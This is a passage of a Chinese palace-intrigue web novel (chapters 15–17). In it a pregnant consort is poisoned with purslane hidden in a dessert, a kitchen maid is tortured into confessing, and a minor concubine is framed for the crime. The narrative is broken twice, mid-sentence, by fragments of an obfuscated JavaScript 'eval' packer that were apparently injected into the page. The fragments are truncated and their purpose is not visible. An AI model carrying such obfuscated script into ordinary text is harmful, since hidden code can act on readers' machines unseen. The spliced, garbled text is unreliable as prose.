皇后颔首,“自然,按照陛下的意思,本宫瞧过了册子。今儿便藏个底,等诸位妹妹都过去便知道了。” 行宫很大,能住到哪儿,离陛下近不近都是众人关注的问题。 殷璟初端起茶盏来,正要喝一口,但瞧见对面的姜才人已经率先端起那碗冰雪冷元子来,黄色和透明的玲珑可爱的小元子盛在冰凉凉的碗里,瞧着就很有食欲。 坤宁宫的小厨房在宫里是一等一的,因为冰都是例份的,许多嫔妃其实都不舍得这样用冰块做吃食,大都是去御膳房里头取,但御膳房的手艺可比不上坤宁宫小厨房的精致,因此皇后娘娘宫里的吃食都是不轻易尝到的。 殷璟初的视线有意无意落到了贤妃身上,见她不曾注意到小几上的那碗吃食。 贵妃是面上藏不住心思的,今日一直忍着不曾参与到口舌之争中,也是怕露了馅,但心里却一直盘算着事情。 殷璟初挑了挑嘴角,拭目以待接下来的戏。 姜才人端着冰雪冷元子,她舀起银勺尝了一口,嘴角流露出舒心的笑意来,与一边的同为新晋嫔妃中的一位葛娘子说起话来。 葛娘子也是这次新晋宫嫔之一,恩宠不算出挑,但也被陛下宣召了几回。虽然比不上殷璟初,但不属于被陛下抛之脑后全然记不起姓名的,因此自然在这次前往行宫的嫔妃之列。 她和姜才人倒不知是什么时候搭上的,但近几次都是有说有笑的模样,殷璟初还听松融说二人来往的好不亲热,好几次在御花园的一角凉亭中撞见二人,看来是臭味相同,暂且结为了同盟。 玫妃见姜才人都捧起冰碗来,她也捧起来尝了一口,难得面上流露出惊艳的神情,皇后遂温和笑道:“诸位妹妹们都尝上了,这是本宫特意吩咐小厨房做的新吃食,很是解暑。昨日本宫尝了不错,今日便想要大家都尝尝,虽然是冰的,但已经放了会时辰,吃到嘴里不会觉得太冰。” 玫妃闻言,忙不迭点头赞道:“还是皇后娘娘时时刻刻都念着臣妾们,有什么好的都不会忘了咱们。臣妾们有幸,如今这天是热,若不吃些冷的,都觉得这暑热难熬。” 说话间,她又吃了一个透明玲珑的元子,里头都是各色果酱馅的,酸酸甜甜又冰冰凉凉,让人不免心旷神怡。 骆修容等人也端起冰碗来纷纷尝了起来,贵妃慢慢拨弄着银勺,视线有意无意往贤妃那边瞧去,见贤妃不为所动,她勾了勾嘴角道:“皇后娘娘的美意,怎么,贤妃妹妹不尝尝么?” 贤妃嘴角笑意不淡,反而愈发恳切道:“皇后娘娘的美意,只是臣妾少不得要辜负了。原是这阵子食欲不畅,吃什么都想要吐,可惜了娘娘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇后继续嘱咐道:“骆修容和管贵嫔要仔细一些,你们二人要照顾公主,因此处处都要留心。到时候行宫中,若是公主有个什么头疼脑热都要快些禀报本宫,去请太医。这次因为太后娘娘不去行宫,陛下挂念太后娘娘的身体,因此宫中太医院大半太医都要留下,到时候唯恐人手不够,你们作为公主的母妃都要留神。” 骆修容和管贵嫔忙起身道了声是,留下岑容华一人面上阴晴不定,似乎是想到了什么,但面上却是极尽忍耐。 请安散了后,殷璟初回到惠和殿,一边的桃红挥退了宫人们,她压低声音谨慎道:“也不知道贵妃娘娘哪里来的本事,竟然能买通坤宁宫的小厨房。即便是查出来,到时候皇后娘娘也少不得要担这个责任。” 殷璟初挑了挑眉,淡淡道:“前些日子皇长子身体有碍,皇后的一颗心都落在皇长子身上,如今又要操心行宫之事,难免有鞭长莫及的时候。再说,莫要瞧着贵妃张扬跋扈,她伺候陛下多年,没有子嗣光凭着宠爱便能做到嫔妃中的第一人,在宫里岂非是没有人脉的?” 桃红点了点头,又有些惴惴不安道:“可若是贤妃那边出了什么事,要发作也到了时候了,怎么一点消息都没传来。” 殷璟初却是气定神闲,她淡声道:“且等着瞧吧。” 没等来章台宫的消息,却等到了陛下驾临惠和殿。 陛下今日又翻了殷美人牌子,消息传到后宫又让多少人眼红嫉妒不已,可任凭她们眼红妒忌,陛下照来不误。 萧煜丰神俊朗的脸上带着丝丝笑意,心情颇为愉悦,殷璟初自然要迎合他,温柔一笑道:“陛下这样高兴,可让嫔妾猜一猜是为着何事。” “听闻陛下有两年不曾去过行宫了,行宫乐趣无穷,比之宫里要怡然放松的多。陛下这些时日一直为着国事操劳,眼见着人都消瘦几分,趁着这次去行宫能松快些。” 萧煜自问将疲惫掩饰的很好,却还是轻松被殷璟初看了出来。 他摆了摆手,殷璟初却主动伸出手将萧煜的手握住,萧煜微微一怔,触碰上柔软的肌肤,不知什么让心也颤了颤。 殷璟初牵着萧煜的手坐下,又亲自为他捏起眉心来,舒缓有度,萧煜始终不曾说话,但心中却闪过几分难言的滋味来。 那些难以言说的异样的情绪慢慢蔓延开。 “陛下可一定要保重身体,这江山社稷再重要,可有了好的身体才是一切的根基。陛下可莫要捡了芝麻丢了西瓜,不然嫔妾也会担心的,瞧着您瘦了,嫔妾都要寝食难安了。” 萧煜听了这话,嘴角渗出笑意来。 这样保重身体的话他听过许多,却都不及后头那句拍马屁的话。 听着俏皮可爱,不似旁的嫔妃在他跟前明明心中战战兢兢,但还要极力自持,装着温柔端庄的模样。 他能感受到殷璟初的不同,她是鲜活的人,在与他的相处中是不自觉流露的轻松自然,而不是那种天然对着上位者的拘谨和臣服。 殷璟初俏皮一笑,正要接着说话,不料外头传来一阵匆匆的脚步声,江顺硬着头皮进来,面色难堪颇为焦急道:“陛下,章台宫那边传来消息,说贤妃娘娘腹痛不止,请陛下去瞧瞧。” 16. 第十六章 章台宫,皇后站在殿内,面上尽是焦急之色,贤妃的贴身宫女婉宁跪在地上,泪珠子不停地往下掉,一副我见犹怜的模样,楚楚可怜道:“回禀皇后娘娘,我家主子今日食欲不佳,打从坤宁宫回来后便没用什么。谁知道自酉时便开始腹痛,奴婢们忙去请了太医院的齐太医来,齐太医说,说娘娘乃是误食了马齿苋。” 一齐赶来的还有旁的嫔妃,此话一出,就见贵妃面色有些不自然,但因众人的注意力都在贤妃身上,无人注意到贵妃身上。 玫妃挑了挑眉,神情中却闪过疑惑,生养过的骆修容却是微微一怔,随即倒吸一口凉气,她还未出言,岑容华却按捺不住,脱口而出—— “马齿苋?那可是滑胎的利器。” 许多嫔妃都不大了解此物,但听岑容华一说,众人纷纷变了脸色。 皇后呼吸一窒,婉宁话里口口声声从请安回来后贤妃什么都没食用,那这样一来,贤妃今日用过的竟只有那碗乳糖圆子,还是在坤宁宫食用的,不论如何她都脱不了干系。 嫔妃们都站在殿内,听见里头一阵阵脚步声,还伴随着贤妃颇为痛苦的低吟声,皇后咬了咬牙稳定心神,正要吩咐下去,忽听到外头扬声禀报“陛下来了”。 该来的还是来了。 萧煜面色淡淡的,身边还跟着一袭青衣宫装的女子。即便在这时,许多嫔妃嫉妒的眼神也不由得落在那女子身上,她身段窈窕玲珑,与陛下站在一起,更像是一对天造地设的璧人。 姜才人瞧的眼热,嫉妒充斥在眼眸中,她紧紧地攥着帕子强迫自己将注意力挪到里头的贤妃身上。 管贵嫔站在岑容华身侧,她的视线只落在殷璟初身上一瞬,而后就轻轻挪开了眼,神色中透着几分耐人寻味。 皇后行过礼,萧煜也听见里头贤妃不小的动静声,他微微蹙眉,开门见山:“贤妃现下如何?” 皇后等人才刚到,并不知道里头情况如何。 婉宁见着陛下来,她赶忙擦了擦眼泪,齐太医从里头出来,神情舒缓了许多,语气恭谨道:“回陛下的话,贤妃娘娘误食了马齿苋,幸而食用量不多,因此皇嗣并无大碍。但贤妃娘娘体弱,经此一遭必要好好修养,若有下回只怕是……” 话已然说到这个份上,可见贤妃虽然保住了子嗣,但伤得不轻。 殷璟初自与陛下一同来后,她便侧身与位分相当的嫔妃们站在了一起,自知方才许多人嫉妒的眼神都落在她身上,因此现下瞧她很识趣地退到了后面,几位主位的神情都缓和了些许。 不过眼下要紧的是齐太医的话,马齿苋是滑胎之物,对贤妃而言是大忌。她一贯细致谨慎,缘何会误食?有些心眼的一想便知道此事绝没有这般简单。 是了,这宫里素来明争暗斗不断,何况是孕育子嗣已经足够惹人注意了,即便是位高如贤妃也免不了这些算计,说来说去都是因为宫里子嗣少,前头有何良媛东宫时滑胎,如今也有贤妃遭人暗算了。 何良媛闻言神情有些激动,似乎是想起了自己六个多月成型的男胎,若是能平平安安来到这世上,必定是一个惹人怜爱的孩子。 如今贤妃也有孕五个多月了,同样是出了意外,但她命这般好孩子保住了。这般想来,何良媛不由得有些黯然神伤,她身子发颤,一边的祝贵嫔瞧了有些于心不忍,稍稍迟疑了一会儿便上前扶住她。 殷璟初收回视线,在听到“马齿苋”时,她微微一怔。视线不自觉触及贵妃,见她神色平淡,至于旁人,都是一副坦然自若的模样。 “江顺,查。” 萧煜坐下,他抬眸扫了眼众人,又冷冰冰地吩咐江顺,语气中透着冰冷和不容置疑。 宫里好容易才有嫔妃怀孕的消息传来,何况贤妃出身高门,得他看重,如今才五个多月就有人忍耐不住准备动手了,何况手能伸的这么长,这让他如何不生气。 眼见着陛下是动怒了,殿内一派寂静,无人敢发出动静来惹陛下不快。 江顺查的功夫很快,几乎不到一炷香时候章台宫上上下下查了个底朝天,排查了贤妃今日去了哪里,看见了什么人,在哪里有所驻足,又用了些什么,一应吃食都问的仔仔细细,最后得出结论—— 贤妃今日从坤宁宫请安回来,只在路上碰到了卢嫔,二人寒暄了几句,自午膳起贤妃就食欲不畅,细算下来今日除了早晨那碗乳糖圆子,她竟然不曾吃什么。 这样看来,乳糖圆子便引起众人的怀疑来。但,那到底是出自坤宁宫的小食,一时之间众人面面相觑,神情都不大自然。 萧煜还未开口,皇后面上浮现一抹难堪,她闭了闭眼而后沉声道:“陛下,臣妾身为皇后掌管后宫,今日贤妃之事已经是臣妾失职。如今既然一切疑点都指向了臣妾宫里的小厨房,臣妾愿意自证清白,还望陛下派江公公严查一番,还臣妾清白。” 作为皇后能做到这个份上,可见皇后的心性。 其实早从贤妃的宫女婉宁那番话开始,皇后便知道自己是遭了人算计。这阵子她的精神心力都集中在皇长子身上,一时无暇顾及旁的。 或者说,她宫里一直以来都有这样的一个眼线,只待这时候东窗事发,而她竟然成了旁人的筏子。 对于心气颇高的皇后而言这是最不能令她忍受的,所以今日她宁愿让江顺带人彻查坤宁宫,哪怕往后宫里人议论皇后失职失责,也好过说皇后居心叵测,意图谋害皇嗣的好。她一定要查清楚那个算计了她的人是谁! 萧煜摆了摆手,江顺立马会意,领着人匆匆离开。 殷璟初从来不觉得宫里的夜这样漫长,这样难熬。看似与往常的每个夜晚都一样,但今夜注定无眠。 陛下已经进去看过贤妃,贤妃并无大碍,但正如齐太医所言,她身娇体弱方才腹痛又见了些红,皇嗣虽然保住了但往后更要仔细小心,毕竟再也经不起什么折腾了。因此为了不打扰贤妃休息,众位嫔妃都到了东配殿等候。 帝后二人都坐着,可以贵妃为首的嫔妃们却只能站着,起初还好,但时间一长不免都觉得酸胀。 徐贵妃轻轻咳嗽了声,玫妃虽然不舒坦,但不敢在陛下跟前造次,因此只能打起精神来候着。 其余的嫔妃们都有苦难言,但无人敢开口叫苦。 殷璟初虽也觉得时间长了些,但她幼承庭训,从前学规矩时都吃过这样的苦,因而还算淡定。 不知过了多久,一阵匆忙的脚步声打破了寂静。 坤宁宫小厨房内的宫人被带了来,打头的是从临安来的御厨。今日的点心便是出自他的手,此人心思聪慧又有好手艺,因此打从被调到坤宁宫开始,手艺便备受皇后娘娘赞扬,连着入夏后的饮子糕点都是他做的。 皇后身边的蕊珠上前福了福身道:“回禀陛下,因为入夏以来天气炎热,皇后娘娘体恤娘娘和小主们,因此连着几日请安都备了冰饮子和冰酥酪。娘娘和小主们都吃着甚好,前几日贤妃娘娘告了假不曾来请安,顾念她怀孕,皇后娘娘便吩咐小厨房的御厨做一碗温热的乳糖圆子,今日贤妃娘娘用了小半碗,可见是十分喜欢的。” 御厨也忙不迭点点头,继续道:“蕊珠姑娘说的是。奴才做了四色的乳糖圆子,分别是糯米粉,黄豆粉,绿豆粉和红豆粉研磨的团状,里头的馅料都是蜜渍桂花。因为贤妃娘娘有孕,所以奴才不敢疏忽。” 说到后面,他竟然有些手足无措,整个人都在发抖。 都说伴君如伴虎,他头一回到陛下跟前,不是因为手艺好被夸赞,而是牵扯到嫔妃宫斗中。也不怪他害怕,这时候如果说错一句话那可是要掉脑袋的事情。 殷璟初敏锐地捕捉到乳糖圆子的色泽,略一思索便已经猜到,恐怕症结便出现在这儿了。 馅料是不好做文章的,但马齿苋若是研磨成汁液兑进糯米粉中,揉成圆团状,足可以以假乱真,众人只会觉得是绿豆粉研磨的圆子。再混不知鬼不觉掺到碗里去,被贤妃误食,这样说来便能想通了。 殷璟初所能想到的,不出片刻,萧煜隐隐也想到了这一层,他面色沉了沉,皇后蹙眉发问—— “今日旁的嫔妃食用的都是冰镇过的,只有贤妃食用的这一碗是温热的。本宫也吩咐过贤妃的饮食务必要用心,所以在准备的过程中,你都不曾发觉不对劲么?” 话音落下,就见御厨脸上闪过几分不自然,半晌,他额间便凝结了细密的汗珠子。 很显然,他玩忽职守了。 其一,他不能保证过程中自己一直盯着,因为小厨房的御厨和宫人不少,他手下还有几位打下手的小宫人。 过程中,他的馅料虽是精心准备的,但旁的事情都交给了打下手的小宫人,最后端上桌的这碗乳糖圆子,有太多人过程中都有接触。 一来二去的如何说得清? 其二,连他负责的膳食中被人掺进去了马齿苋,他也不曾发觉不对劲。对于一个御厨而言,这一点已经算得上致命的了。 见他这副模样,皇后的心也凉了半截,她忽然有些恼怒,但又不知从何说起。今日她身为皇后,非但不曾管理好后宫,在贤妃有孕一事上失职,甚至连自己的宫里出了奸细都不知道。 萧煜瞥了皇后一眼,那神情透着几分复杂。 “今日有多少人经手过贤妃的吃食?” 话落,底下御厨在内的七八位宫人都面面相觑,但没有一个人敢回答他的话。 徐贵妃挑了挑眉,忽然疾声厉色道:“一个两个都是饭桶不成?宫里养你们这些人,出了事情一问三不知。果真是可笑,依着本宫瞧就是主子待你们太过温和,才让你们都不知道深浅。若再是这般模样当差,本宫瞧着也莫要在膳房做事了,粗笨的不成体统,都撵到慎刑司去拷打一番什么就都知道了。” 徐贵妃待下素来不宽和,所以她的脾气出了名的不好。 何况,慎刑司那是个什么地方?犯了错的宫人被关在里面,就算不死至少也要脱层皮,从来没见到进了慎刑司还可以全须全尾出来的。 因此这话的威慑力很足,莫说这几个宫人了,就连嫔妃们脸色都变了变。 倒不是因为关进慎刑司这话,而是贵妃的这番话里口口声声指摘之意明显,对皇后未免有指桑骂槐之意。 平日里后妃分庭抗礼,有个什么龃龉虽然心知肚明,但是如今舞到了台面上,还是当着陛下的面贵妃也丝毫不知收敛,殷璟初微微蹙眉,而后摇了摇头。 皇后终究是皇后,哪怕此刻许多事情都暂且理不清楚,但皇后的威严仍然容不得任何人践踏。 皇后 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“再说,如今宫里子嗣不丰。若是贤妃平平安安诞下皇嗣来,公主也就罢了,若是皇子的话,究竟会威胁了谁的地位,臣妾……” 眼瞧着贵妃越说越不像样子,皇后面上浮现愠怒之色来,不料,一个茶盏直接被扔到地上,摔的粉碎,惊的众人都不敢动弹。 萧煜脸黑的不像话,他冷冷地瞪了眼徐贵妃。 “闭嘴!”萧煜暴斥,怒目望着贵妃,“谋害皇嗣的真凶还未探出眉目,你便急着泼脏水了?皇后正位中宫,品性高洁,你在朕跟前都敢大放厥词,不敬皇后,可见私下是怎样的一副做派。” 陛下突然的雷霆震怒,让在场的嫔妃们都心惊胆颤。 殷璟初忽而庆幸自己离的稍远,陛下砸的那只茶盏毫无征兆,令离的近的主位嫔妃们都受惊不小。 玫妃自不必说,连九嫔中的骆修容和一位夏充媛都怔住了,心有余悸。 徐贵妃也被吓懵了,她自从嫁给萧煜以来还不曾受过这样的气。遥想这些年来一直陪在陛下身边,她的确不如小姑娘们年轻了,也不如她们家世拔尖,但她从微末伴着陛下过来,自以为在陛下心里有几分不同。 可如今瞧来,她怎么觉得自己看不透陛下了呢?好像一切都变了,偏偏她什么都抓不住,最后落得一场空。 陛下话里分明是十分相信皇后,一点怀疑都没有,可明明眼下证据坤宁宫如何都脱不了干系。 皇后听了陛下这话,却不见多么欣慰,至少在殷璟初看来,皇后的眼神中甚至闪过一丝讽刺,虽然顷刻间便烟消云散,但还是很快被殷璟初收入眼底。 没错,就是讽刺。 徐贵妃没有家世,唯一能依靠的只是陛下的宠爱和位分,她自诩皇后位下第一人。这些年的确陪着陛下从微末到如今御极,可她也忘记了一点,任何事情都要有度,在对的场合做对的事情。 殷璟初凭着与萧煜这阵子的相处,她更能感受到,其实放眼后宫,陛下是一个很会平衡厉害的人。 皇后出身门阀世家,家族昌盛,又有皇子倚仗,背后的左相作为靠山。那么后宫自然不能让她一人一家独大,所以陛下给贵妃脸面,抬举她凌驾众嫔妃之上,又给予贵妃万千宠爱,让贵妃有和皇后暂且制衡的资本。 贤妃与皇后一样,她也出身门阀世家,家族虽然不如崔氏昌盛,但已然不差。她没有子嗣,恩宠也比不上贵妃,饶是如此,陛下也抬举了无子无家世的玫妃。 两相制衡之下,不论是出身门阀的嫔妃们,还是陪着陛下从微末走来的,后宫始终没有打破这个平衡。 相反因为有这一层相互制约,后宫暂且很太平。 可如果有一天,这个制约被打破。 自然,便会乱起来。 殷璟初微微垂眸,贵妃最错的一点就是太将陛下对自己的心意当一回事。倒不如早些认清楚,陛下这个人,他的心,已经尽数留给江山和皇权,他的心里从来也从不会装下什么人,所以莫要付出一点自己的真心,否则被反噬伤到了,苦的也是自己。 她瞥了眼玫妃等人,她们都很识趣地不曾吭声。所以你看,就算是时而拎不清的玫妃,喜欢跟贵妃对着干,落井下石,这时候也会看眼色,知道比起说话倒不如闭上嘴来,多说多错,这时候不蹚浑水比什么都好。 萧煜瞥了眼江顺,江顺立马会意,挥了挥手将跪着的几个宫人都提溜到了院子里。 殷璟初抬眸,不多时便有一阵压抑的哭声传来。 江顺收起往日笑吟吟的和善模样,他从一边宫人手上取过一个细长的银针,又盯着这几个宫人,冷笑道:“你们都是在厨房伺候的,若是依着陛下的意思自然不愿意闹的太过,可脑子要放清醒些,这时候知道什么赶快说出来,不然的话,我这针可见不长眼睛了,到时候不知道扎在哪里,疼的你们哭爹喊娘的。” 话音落下,一阵风从而过簌簌过去,在这静谧的夜里显得有些凄厉。 似乎是联想到了什么,下头的宫人们都死死地低着头,滚烫的泪珠子喷涌而出。 江顺起初还有些耐性,但过了半晌,他阴沉着脸正要说话,一个十七八岁的宫女怯怯地抬起头来,她眼圈发红,声音嘶哑道:“江大监,奴,奴婢有话说……” 江顺眯了眯眼睛。 17. 第十七章 小宫女被提上去时,殿内紧张的气氛愈发沉重。 殷璟初仔细留意殿内众人的神情,很可惜,无甚变化。 小宫女哆哆嗦嗦的,第一次在陛下和这么多主子面前露脸,自然有些怯懦。 她重重地磕了响头,这才颤颤巍巍道:“奴婢小莲,今年二月底被拨到皇后娘娘的小厨房伺候的。昨,昨夜,奴婢起夜的时候看见小红和一个人站在廊下说话。但因为奴婢模模糊糊的,并没有看清楚那人的长相,只是看见他塞给了小红一个纸包……” 小红也是在坤宁宫小厨房打下手的宫人。 江顺将人也带了上来,听了这话,小红的脸涨的通红,她猛地起身瞪着小莲,怒声咒骂道:“你在胡沁什么呢?我,我何曾与人私相授受。陛下,陛下,您莫要听她胡说八道,她,她就嫉妒奴婢得御厨看重,她……” 她虽然是驳斥人的,但满脸通红,越说越结巴反而显得有鬼,一下子就引得众人怀疑。 玫妃瞥了她一眼,冷笑道:“陛下,您瞧这宫女虽然矢口否认,可脸色红的不成样子。若是自己心里没鬼,怎会露怯,依着臣妾看她们都要好好查一查。” 这话倒是,萧煜瞥了眼江顺,江顺忙将方才派去搜查厢房的宫人搜出来的东西递了来,他垂眸恭谨道:“陛下,这就是从宫女小红的厢房里搜出来的东西。” 萧煜接过那纸包,打开来看却是墨绿色的粉末,齐太医眼尖瞧见,萧煜将东西让人给他查看,齐太医只是略略闻了闻,忙道:“陛下,这就是马齿苋研磨成的粉。” 话音落下,这便是证据确凿了。 从厢房里头突然搜出来的马齿苋粉,让小红愣在了原地,她反应过来摇了摇头,哭喊道:“陛下,陛下这东西绝对不是奴婢的,是,是有人要暗害奴婢啊。奴婢一直勤勤恳恳在皇后娘娘的小厨房做事,从来不曾生出过这些腌臜心思,奴婢也不知道是谁要这样陷害我,陛下要为奴婢做主啊陛下。” 她的声音太过尖锐,尤其在这样的夜里听来,不免让人觉得不寒而栗。 萧煜皱着眉头,江顺忙让人往她嘴里塞了布,又道:“陛下,现如今该怎么办?” 视线又落在萧煜身上。 皇后冷冷地望着这一切,她瞥了眼小红,又望向小莲,陡然心底蔓延出一股无力来,又觉得很可笑。 她果真是轻视了,一时不察,坤宁宫的小厨房竟然被安插进来这么多钉子。果然是可恨至极,她偏生还不曾察觉,如今是拿她做筏子对付贤妃,若是再对绩儿下手呢?她不敢想象。 还未等萧煜开口,皇后站起身来,她郑重地行过一礼道:“陛下,请将此事交给臣妾来处置吧。三日内,臣妾必定给您一个答复。” 皇后忽然应下此事,倒让玫妃等人有些迟疑,萧煜没有马上应允,过了几秒钟,他才不咸不淡地点点头。 今儿闹了这样一通已经很晚了,在座之人都已经疲惫,也没有再等下去的心思了。 萧煜也没了去惠和殿的心思,径直回了紫宸殿,至于其余嫔妃,待陛下离开后都松泛了许多,一个两个面上都透着浓浓的疲倦之色,纷纷准备结伴回宫。 殷璟初出了章台宫,骆修容紧随其后,她淡淡一笑道:“你才入宫,就看见这样一场闹剧,害怕么?” 自从二人结盟后,关系亲近了许多。无人在意之处,她们都有来往。一来二去的,能说的越来越多了。 殷璟初不置可否,她抬头眺望远处,慢慢道:“嫔妾只是觉得,这宫里比我所能想象的残忍多了。许多事情都隐藏在暗面,以为自己看清了一些,可还是高估自己了。” 骆修容笑了笑,淡淡道:“岂止是你,我心里未尝没有这样的感觉。总觉得拨开了迷雾也未必能看的清楚。端说今日之事,你如何想?” 殷璟初浅浅一笑,反问道:“嫔妾蠢笨,瞧的不大清楚,还望娘娘解惑。” “皇后做事一向谨慎细心,今天竟然也被算计进去了,一时不察,你瞧着吧坤宁宫这几日必定要大肆清理一番,将那些钉子都拔出去。”骆修容又扫了眼四周,见只有彼此的宫女在,方才又压低声音道,“今日之事未必没有贵妃的手笔在,可惜还是有人道高一丈,为旁人做了嫁衣。” “所以,娘娘您觉得皇后会如何处置?” 骆修容轻轻一笑,漫不经心道:“你瞧着吧,最后什么都查不出来。顶多那小红顶了罪,至于小莲,没多久也会慢慢消失的。牵涉其中的人在宫里活不长。” 这话倒是真的。 别过了骆修容,殷璟初与兰时徒步回宫。因为折腾了半夜很疲惫了,所以一回到宫里就沐浴歇下了,但这一夜殷璟初做了很长很长的梦。 第二日起身时,莹妆和兰时在廊下说话的声音传来,殷璟初险些以为请安要迟了,一问才知道原来皇后娘娘今日特意免了众人请安,恩准在自己宫里好好休息。 大约是因为昨夜的事情,皇后体恤的缘故。 听说小莲和小红都被带进了慎刑司,但还没有消息传来。 一直到第三日,慎刑司传来了消息小红守不住刑认罪了,说是受人指使谋害贤妃腹中的皇嗣,这供出来的背后主使却是让人始料未及。 “你说是谁?” 殷璟初端着茶盏的手晃了晃,吃惊不小。 “小红连着受了三日的酷刑,今日上午清醒来便招供了一切都是受容更衣的指使。”兰时挑了挑眉,缓声道,“容更衣早前对皇后娘娘怀恨在心,因此想要报复她,便重金收买了小红。小红起初不肯,但容更衣拿捏住了她与侍卫通奸,秽乱宫闱的证据,小红不得不从,那夜也是容更衣派人给她送去马齿苋粉,如今真相大白,皇后娘娘已经禀报了陛下。” 信息量太大,殷璟初无论如何都想不到此事还能跟容更衣扯上干系。 看样子,她成了背锅的冤大头。可如此一来,殷璟初便明白了这一局与管贵嫔和岑容华脱不了干系,岑容华在其中扮演着推波助澜的角色,而管贵嫔呢? 桃红摇了摇头,叹了口气道:“仔细一想这缘由岂非有些牵强了,容更衣哪里来的这么大的恨性记恨皇后娘娘这样久?还能想到这个招去谋害皇嗣。从外面看这理由说的过去,可只要一想都知道不对劲。” 殷璟初笑了笑,若是贤妃因此小产,陛下一定不会轻易放过,可能会继续严查下去。 但贤妃没有小产,此事大概是到此为止了。只是没了一位容更衣,于宫里而言算不得什么。 蕊珠带人去常宁阁时,容更衣还不知道大难临头,她满心为着被陛下遗忘而不甘,卯着劲想该怎样复宠。 当日想破了脑袋,只是后悔不该一时得意忘形得罪了皇后那边,否则也不会沦落到这般田地。 如今新人中已经渐渐形成了气候,偏她也算是一手好牌打得稀烂,落入这样的境况中,只盼着巴结岑容华,将来岑容华能借着公主在陛下跟前露脸,她也能沾到一点福气吧。 这样想着,岑容华脸色才好了些。 忽然,外头一阵杂乱的声音传来,“蕊珠姑娘来了。” 宫里人人都知道蕊珠是皇后身边一等一得力的女官,身份非同寻常。 就算平时皇后有什么需要赏赐人,也很少要蕊珠出面,如果蕊珠出面了,那必定是什么了不得的人。 因此听到蕊珠的名号时,容更衣先愣了愣,而后面上一喜,以为有什么好事要轮到自己了,她赶忙走到铜镜前看自己的穿着打扮是否齐整,等到身边宫女都赞不绝口,她这才放下心来。 蕊珠带着一众宫人来,却不似容更衣想象中的笑容满面,相反,脸色有些难堪,她怔了怔便问道:“蕊珠姑娘过来是否是皇后娘娘有什么吩咐?” “奴婢奉陛下和皇后娘娘的命令来请容更衣到坤宁宫去一趟,陛下和娘娘有话要问你。”蕊珠语气冷冰冰的,并不很将她放在眼里。 容更衣虽然不是很有眼力见的人,但明显察觉到了不对劲儿,她皱了皱眉有些迟疑道:“你这话是什么意思?” 蕊珠语气又冷了几分,将方才的话重复了一遍。 容更衣却觉得有些惴惴不安的,她忽然摇了摇头,不知道哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些年来,她们手上并非干干净净。岑容华害怕将来有一日东窗事发,什么都保不住。管贵嫔有多心狠手辣,今日容更衣的下场,恐怕就是来日她的下场。 “是。” 管贵嫔见她有些心不在焉,轻轻一笑话中有话道:“你怕了?当日本宫就告诉过你,富贵险中求,没有什么好东西是白白扔给你的,想要的就要去争。依着陛下如今对贤妃的看重,贤妃不论是生了皇子还是公主,你以为你的嫙儿可还有立足之地?” “皇长子的生母是皇后,嫡长子身份非下头人能比。大公主的生母骆修容虽然不是出身名门,可她已经位列九嫔,你呢,你却只是个小小容华,若是一辈子都只是个容华,将来哪里有保护二公主的资格?” 岑容华听着这番话,她咬了咬牙道:“是,嫔妾明白。” “明白就好。有些话,有些事情该烂就烂在肚子里吧,往后永远都不要想起,也不再害怕。人啊,都是向前看的。” 管贵嫔轻飘飘一句话,她也不看岑容华,只是瞧着她身子颤抖起来,管贵嫔嘴角却渗出笑意来。 等岑容华离开后,管贵嫔笑意敛了些,她淡声道:“上不了台面的蠢货。” 丽春扯了扯嘴角笑着道:“虽然没有让贤妃失去子嗣,可也算是元气大伤。奴婢觉得岑容华已经尽心了,又有容更衣做背锅的,主子尽可以高枕无忧。” 管贵嫔勾了勾嘴角,冷冷道:“你以为我是在庆幸有人背锅么?这一次,我费了一番心思,也不过是给旁人做了嫁衣。舍了一个容更衣,却是半分目的都不曾达到。” 丽春一愣,有些不明白管贵嫔话里的意思。 管贵嫔却放下茶盏,起身缓缓道:“我给的马齿苋的用量根本达不到见红,顶多让贤妃有些轻微不适罢了。可偏偏贤妃竟然见红了,你道是什么缘故?” 丽春听了这话还有些发怔,她以为自家主子是在恼恨搭上了容更衣,贤妃那边却安然无恙,相当于做了一番白用功。 可瞧着似乎不是这个意思。 管贵嫔冷笑道:“终究还是我小看她了,有时候舍不得孩子套不得狼。”